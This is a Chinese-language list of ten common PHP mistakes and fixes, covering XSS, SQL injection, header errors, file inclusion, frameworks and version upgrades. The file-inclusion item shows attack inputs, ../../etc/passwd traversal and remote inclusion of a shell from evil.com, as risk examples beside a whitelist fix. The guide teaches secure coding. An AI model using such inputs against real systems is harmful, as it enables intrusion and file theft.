錯誤:echo $_GET['username'];
風險:注入 `` 竊取 Cookie、劫持會話。
修正:echo htmlspecialchars($_GET['username'], ENT_QUOTES, 'UTF-8');
錯誤:依賴 magic_quotes_gpc 或直接拼接。
修正:**預處理語句** (PDO/MySQLi)。
$stmt = $pdo->prepare("UPDATE users SET name = ? WHERE id = ?");
$stmt->execute([$name, $id]);
現象:Warning: Cannot modify header information - headers already sent。
原因:header(), session_start(), setcookie() 必須在**任何輸出前**調用 (含空白、BOM、錯誤信息)。
修正:重構代碼結構,邏輯先行,輸出在後;或啟用 output_buffering = On (不推薦依賴)。
錯誤:include($_GET['filename']);
風險:?filename=../../etc/passwd (目錄遍歷)、?filename=https://evil.com/shell.txt (遠程包含,需 allow_url_fopen=On)。
修正:白名單驗證 in_array($file, $allowed),或使用路由控制器模式。
缺少分號、括號不匹配、引號嵌套錯誤。
對策:使用 IDE (PhpStorm, VS Code + PHP Intelephense)、啟用語法檢查、代碼風格檢查器 (PHP_CodeSniffer)。
過度依賴過程式寫法導致代碼重複、難維護、難測試。
建議:掌握類、介面、繼承、多態、依賴注入、設計模式 (工廠、策略、倉庫)。現代框架均基於 OOP。
95% 項目是 CRUD。框架提供:路由、中間件、ORM、驗證、模板、安全、測試、CLI 工具。
選型:Laravel (功能全、生態強), Symfony (企業級、組件化), ThinkPHP (國產、文檔友好), Slim/Lumen (微框架)。
例:數組操作 (array_map/filter/reduce), 字符串 (mb_*, preg_*), 文件系統 (SplFileInfo, glob), 日期 (DateTime), 加密 (password_hash, hash_hmac), 流 (php://input, php://memory)。
習慣:查閱 PHP 官方手冊、php -r "print_r(get_defined_functions());"。
PHP 5.6/7.0/7.1/7.2/7.3/7.4 **均已停止安全更新**。**最低應使用 PHP 8.1+ (積極支持) 或 8.2/8.3 (當前穩定)**。升級收益:JIT、類型系統、性能提升 2-3x、新功能 (枚舉、只讀屬性、纖程)。
現象:輸出顯示 It\'s 或 \\'。
原因:開發環境 magic_quotes_gpc=Off 手動 addslashes,生產環境 =On 自動加斜杠,或表單回顯重複轉義。
修正:if (get_magic_quotes_gpc()) $_POST = array_map('stripslashes', $_POST); (舊版);**現代 PHP (5.4+) 已移除 magic_quotes,徹底避免此問題**。
這 10 大錯誤核心圍繞 **安全 (1,2,4)、架構 (6,7)、工程化 (3,5,8,9)、遺留兼容 (10)**。現代 PHP 開發應:使用 PHP 8.2+ + 成熟框架 + 靜態分析 + CI/CD + 代碼審計 + 安全編碼規範。